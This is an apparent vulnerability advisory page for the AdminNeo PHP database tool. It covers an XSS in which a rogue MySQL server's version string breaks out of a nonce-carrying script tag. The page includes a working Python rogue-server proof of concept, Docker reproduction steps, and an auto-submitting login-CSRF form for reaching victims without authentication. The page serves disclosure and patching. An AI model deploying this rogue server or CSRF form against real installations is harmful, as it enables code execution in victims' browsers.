- Package
- adminneo-org/adminneo
- Fixed in
- 5.5.1
- Published
- Fri 30 Oct 2026, 22:52 Lisbon
- Installs on Packagist
- 291
In plain words
An attacker controlling a MySQL server reachable by AdminNeo can make JavaScript run in a user's browser when AdminNeo connects to that server. AdminNeo inserts the server's version string into a trusted script without sanitising it, so Content Security Policy does not block the injected code. When combined with login CSRF, the attack requires no authentication.
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| adminneo-org/adminneo | < 5.5.1 | 5.5.1 |
Am I affected?
Look for adminneo-org/adminneo in composer.lock and check its version: versions below 5.5.1 are affected; 5.5.1 is fixed. Check whether AdminNeo uses MySQL and can connect to an attacker-controlled server. The advisory also describes login CSRF as a way to cause that connection without authentication.
What to do
Check which version you have, then update to a fixed release for your branch (5.5.1):
composer show adminneo-org/adminneo | grep versions
composer update adminneo-org/adminneo
If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.
The advisory's description
Summary
AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.
Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
Prerequisites
- Target runs AdminNeo
- Attacker controls a reachable MySQL server (a 80-line Python script)
Root Cause
admin/core/Admin.php, lines 1285-1286:
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.
Steps To Reproduce
1. Build the environment
Dockerfile (AdminNeo):
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
rogue_mysql.py (fake MySQL server that accepts any login):
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string
pkt += struct.pack("<I", 1) # connection id
pkt += b"\x41" * 8 # auth plugin data part 1
pkt += b"\x00" # filler
pkt += struct.pack("<H", CAPS_LOW) # capability flags lower
pkt += b"\x21" # charset utf8
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper
pkt += b"\x15" # auth data length (21)
pkt += b"\x00" * 10 # reserved
pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2
pkt += b"mysql_native_password\x00" # auth plugin name
return make_packet(0, pkt)
def make_ok(seq):
pkt = b"\x00" # OK marker
pkt += b"\x00" # affected rows
pkt += b"\x00" # last insert id
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", 0) # warnings
return make_packet(seq, pkt)
def make_eof(seq):
pkt = b"\xfe"
pkt += struct.pack("<H", 0) # warnings
pkt += struct.pack("<H", 0x0002) # status flags
return make_packet(seq, pkt)
def make_err(seq, msg=b"not supported"):
pkt = b"\xff"
pkt += struct.pack("<H", 1045)
pkt += b"#HY000"
pkt += msg
return make_packet(seq, pkt)
def handle(conn):
conn.sendall(make_greeting(PAYLOAD))
try:
conn.recv(4096) # client login request
except Exception:
conn.close()
return
conn.sendall(make_ok(2)) # accept login
# Answer any queries Adminer sends after login
while True:
try:
data = conn.recv(4096)
if not data:
break
seq = data[3] + 1
# Send ERR for all queries (Adminer still has the version in memory)
conn.sendall(make_err(seq))
except Exception:
break
conn.close()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")
threading.Thread(target=handle, args=(conn,)).start()
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py
2. Trigger the XSS
Open a browser and navigate to http://localhost:8081/adminneo.php:
- Select driver: MySQL
- Server:
HOST_IP:3307(IP of the machine running rogue_mysql.py) - Username:
root - Password:
x - Click Login.
The rogue server accepts the login. AdminNeo renders the dashboard and includes:
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.
3. Trigger it via Login CSRF
The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:
<form id="f" method="POST" action="http://TARGET/adminneo.php">
<input name="auth[driver]" value="mysql">
<input name="auth[server]" value="ROGUE_IP:3307">
<input name="auth[username]" value="root">
<input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>
Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Weakness: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
The advisory
- GitHub Advisory Database: GHSA-rx7m-wxwq-vxr9, with who is affected and how
- OSV.dev: GHSA-rx7m-wxwq-vxr9
- All advisories for adminneo-org/adminneo